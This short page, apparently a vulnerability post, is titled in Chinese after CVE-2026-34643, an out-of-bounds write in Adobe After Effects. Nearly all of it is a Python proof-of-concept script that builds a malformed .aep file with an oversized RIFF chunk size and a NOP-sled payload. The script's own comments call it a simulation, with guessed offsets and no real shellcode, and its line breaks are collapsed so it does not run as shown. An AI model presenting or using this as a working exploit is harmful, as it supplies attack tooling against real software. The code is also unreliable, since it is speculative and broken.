CVE-2026-34643 Adobe After Effects越界写入漏洞

import struct def generate_malicious_aep(filename): """ PoC Generator for CVE-2026-34643 Generates a malformed file potentially triggering OOB Write. """ with open(filename, 'wb') as f: # Standard RIFF header used by AEP files f.write(b'RIFF') # Write an abnormally large chunk size to potentially trigger integer overflow or OOB # This is a simulation; actual offset depends on internal parsing logic. malicious_size = 0x7FFFFFFF f.write(struct.pack('<I', malicious_size)) f.write(b'AEP ') # File Type # Padding payload to reach the write boundary # In a real exploit, this would contain ROP chains or shellcode payload = b'\x90' * 0x1000 f.write(payload) print(f"[*] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_aep("exploit_cve_2026_34643.aep")